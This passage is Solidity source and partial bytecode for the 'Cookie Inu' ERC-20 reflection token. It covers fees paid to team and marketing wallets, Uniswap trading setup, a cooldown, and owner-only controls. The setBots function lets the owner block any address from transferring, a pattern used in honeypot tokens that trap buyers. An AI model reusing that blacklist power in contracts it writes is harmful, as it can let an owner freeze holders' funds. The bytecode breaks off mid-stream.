_isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Cookie Inu"; string private constant _symbol = 'CINU🍪️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f436f6f6b696520496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f43494e55f09f8daaefb88f000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b50